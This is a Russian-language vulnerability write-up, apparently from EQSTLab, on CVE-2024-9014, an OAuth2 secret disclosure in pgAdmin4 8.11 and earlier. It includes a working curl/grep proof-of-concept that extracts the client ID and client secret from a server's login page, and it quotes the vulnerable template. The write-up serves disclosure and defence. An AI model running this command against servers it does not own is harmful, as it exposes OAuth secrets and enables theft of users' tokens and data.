
Pgadmin4 Sensitive Information Exposure
Этот пост — исследовательская статья, опубликованная EQSTLab.
★ CVE-2024-9014 Уязвимость раскрытия конфиденциальной информации PoC ★
CVE-2024-9014 : pgAdmin4 Уязвимость раскрытия конфиденциальной информации
Описание: версии pgAdmin 8.11 и более ранние уязвимы к ошибке безопасности в аутентификации OAuth2. Эта уязвимость позволяет злоумышленнику потенциально получить идентификатор клиента и секрет, что приводит к несанкционированному доступу к данным пользователя.
curl [URL_TO_TEST]/login?next=/ | grep -o '"oauth2Config": \[.*\]' | sed 's/"oauth2Config": //'
curl http://localhost:8000/login?next=/ | grep -o '"oauth2Config": \[.*\]' | sed 's/"oauth2Config": //'
pgadmin4-8.9 и pgadmin4-8.12

В этом месте переменная config.OAUTH2_CONFIG возвращает файлы конфигурации OAuth2, включая OAUTH2_CLIENT_ID и OAUTH2_CLIENT_SECRET.
{% set page_name = 'login_user' %}
{% set user_language = request.cookies.get('PGADMIN_LANGUAGE') or 'en' %}
{% set ns = namespace(langOptions=[]) %}
{% for key, lang in config.LANGUAGES.items() %}
{% set _ = ns.langOptions.append({'value': key, 'label': lang}) %}
{% endfor %}
{% set page_props = {
'userLanguage': user_language,
'langOptions': ns.langOptions,
'forgotPassUrl': url_for('browser.forgot_password'),
'loginUrl': url_for('authenticate.login'),
'csrfToken': csrf_token(),
'authSources': config.AUTHENTICATION_SOURCES,
'authSourcesEnum': {
'OAUTH2': config.OAUTH2,
'KERBEROS': config.KERBEROS,
},
'oauth2Config': config.OAUTH2_CONFIG,
'loginBanner': config.LOGIN_BANNER|safe
} %}
{% extends "security/render_page.html" %}

Идентификация и защита секретных параметров OAuth очень важны. Хотя “client_id” можно безопасно раскрыть, раскрытие “client_secret” несет значительный риск. Если client_secret скомпрометирован, злоумышленник может использовать идентичность и доверие приложения для кражи “access token” пользователя и личной информации.
Этот репозиторий не предназначен для раскрытия конфиденциальной информации, связанной с CVE-2024-9014. Цель этого проекта — помочь людям узнать об этой уязвимости и, возможно, протестировать свои собственные приложения.
Мы публикуем анализ CVE и вредоносного ПО раз в месяц. Если вам интересно, перейдите по ссылкам ниже, чтобы ознакомиться с нашими публикациями. https://www.skshieldus.com/eng/business/insight.do